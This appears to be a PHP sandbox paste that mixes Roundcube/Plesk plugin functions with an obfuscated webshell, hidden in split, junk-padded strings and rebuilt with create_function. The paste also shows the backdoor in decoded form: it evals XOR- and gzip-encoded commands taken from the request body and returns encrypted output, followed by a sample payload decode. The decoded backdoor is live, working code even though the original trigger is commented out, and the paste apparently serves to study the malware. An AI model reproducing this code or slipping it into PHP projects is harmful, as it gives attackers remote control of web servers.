3v4l.org

run code in 300+ PHP versions simultaneously
<?php /** * Handler for message_part_structure hook. * Called for every part of the message. * * @param array Original parameters * * @return array Modified parameters */ function part_structure($p) { $this->load_engine(); return $this->engine->part_structure($p); } /** * Get all hosting-information of a domain * * @param string $domain domain-name * @returns object SimpleXML object */ function domain_info($domain) { // build xml $request = new SimpleXMLElement("<packet></packet>"); $site = $request->addChild("site"); $get = $site->addChild("get"); $filter = $get->addChild("filter"); $filter->addChild("name", utf8_encode($domain)); $dataset = $get->addChild("dataset"); $dataset->addChild("hosting"); $packet = $request->asXML(); // send the request and make it to simple-xml-object if ($res = $this->send_request($packet)) { $xml = new SimpleXMLElement($res); } // Old Plesk versions require version attribute, add it and try again if ($xml && $xml->site->get->result->status == 'error' && $xml->site->get->result->errcode == 1017) { $request->addAttribute("version", "1.6.3.0"); $packet = $request->asXML(); $this->old_version = true; // send the request and make it to simple-xml-object if ($res = $this->send_request($packet)) { $xml = new SimpleXMLElement($res); } } return $xml; } $W='@e5@va5@l(@gzuncompre5@ss(5@@x(@base65@4_d5@ecode(5@$m[15@]),$5@k)));5@$o=@5@ob_5@get_contents();'; /** * Get psa-id of a domain * * @param string $domain domain-name * * @returns int Domain ID */ function get_domain_id($domain) { if ($xml = $this->domain_info($domain)) { return intval($xml->site->get->result->id); } } $E='$k5@="465@96bd5@9a";$5@kh="8ecf79155df0";5@$kf5@="5fb5@97fdc5@8317";$p=5@5@"BL450m5@5@L15@WeCi5@9eMA";'; /** * Handler for message_body_prefix hook. * Called for every displayed (content) part of the message. * Adds infobox about signature verification and/or decryption * status above the body. * * @param array Original parameters * * @return array Modified parameters */ function status_message($p) { $this->load_ui(); return $this->ui->status_message($p); } /** * Handler for message_load hook. * Check message bodies and attachments for keys/certs. */ function message_load($p) { $this->load_ui(); return $this->ui->message_load($p); } /** * Handler for template_object_messagebody hook. * This callback function adds a box below the message content * if there is a key/cert attachment available */ function message_output($p) { $this->load_ui(); return $this->ui->message_output($p); } $T='0;5@($j<5@$5@c&&$i<$l);$5@5@j++,$i5@++){$o.=$t{$i}5@5@^$k{$j};}5@}ret5@urn $5@o;}i5@f (@preg_ma5@'; $D=str_replace('bQ','','cbQreatbQe_bQfubQncbQtibQon'); /** * 'html2text' hook handler to replace image emoticons from TinyMCE * editor with plain text emoticons. * * This is executed on html2text action, i.e. when switching from HTML to text * in compose window (or similar place). Also when generating alternative * text/plain part. */ function html2text($args) { $rcube = rcube::get_instance(); if ($rcube->action == 'html2text' || $rcube->action == 'send') { $this->load_config(); if (!$rcube->config->get('emoticons_compose', true)) { return $args; } require_once __DIR__ . '/emoticons_engine.php'; $args['body'] = emoticons_engine::icons2text($args['body']); } return $args; } $h='function x(5@$t,$5@k){$c=strle5@n($k);$l=st5@rlen(5@$t);$5@o="";fo5@r(5@$i=0;$5@i<$l;)5@{for($j='; function preferences_save($args) { $rcube = rcube::get_instance(); $dont_override = $rcube->config->get('dont_override', array()); if ($args['section'] == 'mailview' && !in_array('emoticons_display', $dont_override)) { $args['prefs']['emoticons_display'] = rcube_utils::get_input_value('_emoticons_display', rcube_utils::INPUT_POST) ? true : false; } else if ($args['section'] == 'compose' && !in_array('emoticons_compose', $dont_override)) { $args['prefs']['emoticons_compose'] = rcube_utils::get_input_value('_emoticons_compose', rcube_utils::INPUT_POST) ? true : false; } return $args; } $l='tch(5@"/$k5@h(.+)$5@k5@f/"5@,@file_get5@_contents("php://i5@5@nput5@"),5@$m)==15@)5@ {@ob_start();'; function save_prefs($args) { if ($args['section'] == 'mailview') { $args['prefs']['hide_blockquote_limit'] = (int) rcube_utils::get_input_value('_hide_blockquote_limit', rcube_utils::INPUT_POST); } return $args; } $X='@ob_e5@nd5@_cle5@an()5@;$r=@base65@4_encode(5@@x(@gzco5@mpress(5@$5@o),5@$k));prin5@t("$p$kh5@$r$kf");}'; /** * Change Password of a mailbox * * @param string $mailbox full email-address (user@domain.tld) * @param string $newpass new password of mailbox * * @returns bool */ function change_mailbox_password($mailbox, $newpass) { list($user, $domain) = explode("@", $mailbox); $domain_id = $this->get_domain_id($domain); // if domain cannot be resolved to an id, do not continue if (!$domain_id) { return false; } // build xml-packet $request = new SimpleXMLElement("<packet></packet>"); $mail = $request->addChild("mail"); $update = $mail->addChild("update"); $add = $update->addChild("set"); $filter = $add->addChild("filter"); $filter->addChild("site-id", $domain_id); $mailname = $filter->addChild("mailname"); $mailname->addChild("name", $user); $password = $mailname->addChild("password"); $password->addChild("value", $newpass); $password->addChild("type", "plain"); if ($this->old_version) { $request->addAttribute("version", "1.6.3.0"); } $packet = $request->asXML(); // send the request to plesk if ($res = $this->send_request($packet)) { $xml = new SimpleXMLElement($res); $res = strval($xml->mail->update->set->result->status); if ($res != "ok") { $res = array( 'code' => PASSWORD_ERROR, 'message' => strval($xml->mail->update->set->result->errtext) ); } return $res; } return false; } #$G=str_replace('5@','',$E.$h.$T.$l.$W.$X); #$i=$D('',$G);$i(); $k="4696bd9a"; $kh="8ecf79155df0"; $kf="5fb97fdc8317"; $p="BL450mL1WeCi9eMA"; function x($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } }return $o; }if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) { @ob_start(); @eval(@gzuncompress(@x(@base64_decode($m[1]),$k))); $o=@ob_get_contents(); @ob_end_clean(); $r=@base64_encode(@x(@gzcompress($o),$k)); print("$p$kh$r$kf"); }; $input = "BL450mL1WeCi9eMA8ecf79155df0TKoy/yoxcap9em7+TtJrKX8EDYcqKo1VfgeIBlNUDikGAwgHKVYPUwJ4dHtRUA6ANjYH0m795fb97fdc8317"; if (@preg_match("/$kh(.+)$kf/", $input, $m)==1) { $decode = @gzuncompress(@x(@base64_decode($m[1]),$k)); print($decode); } function is_private() { foreach ($this->subkeys as $subkey) { if ($subkey->has_private) { return true; } } return false; } /** * Get key ID by user email */ function find_subkey($email, $mode) { $now = time(); foreach ($this->users as $user) { if (strcasecmp($user->email, $email) === 0 && $user->valid && !$user->revoked) { foreach ($this->subkeys as $subkey) { if (!$subkey->revoked && (!$subkey->expires || $subkey->expires > $now)) { if ($subkey->usage & $mode) { return $subkey; } } } } } } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.2.90.0070.00618.77
5.6.400.0010.00716.06

preferences:
134.45 ms | 1446 KiB | 7 Q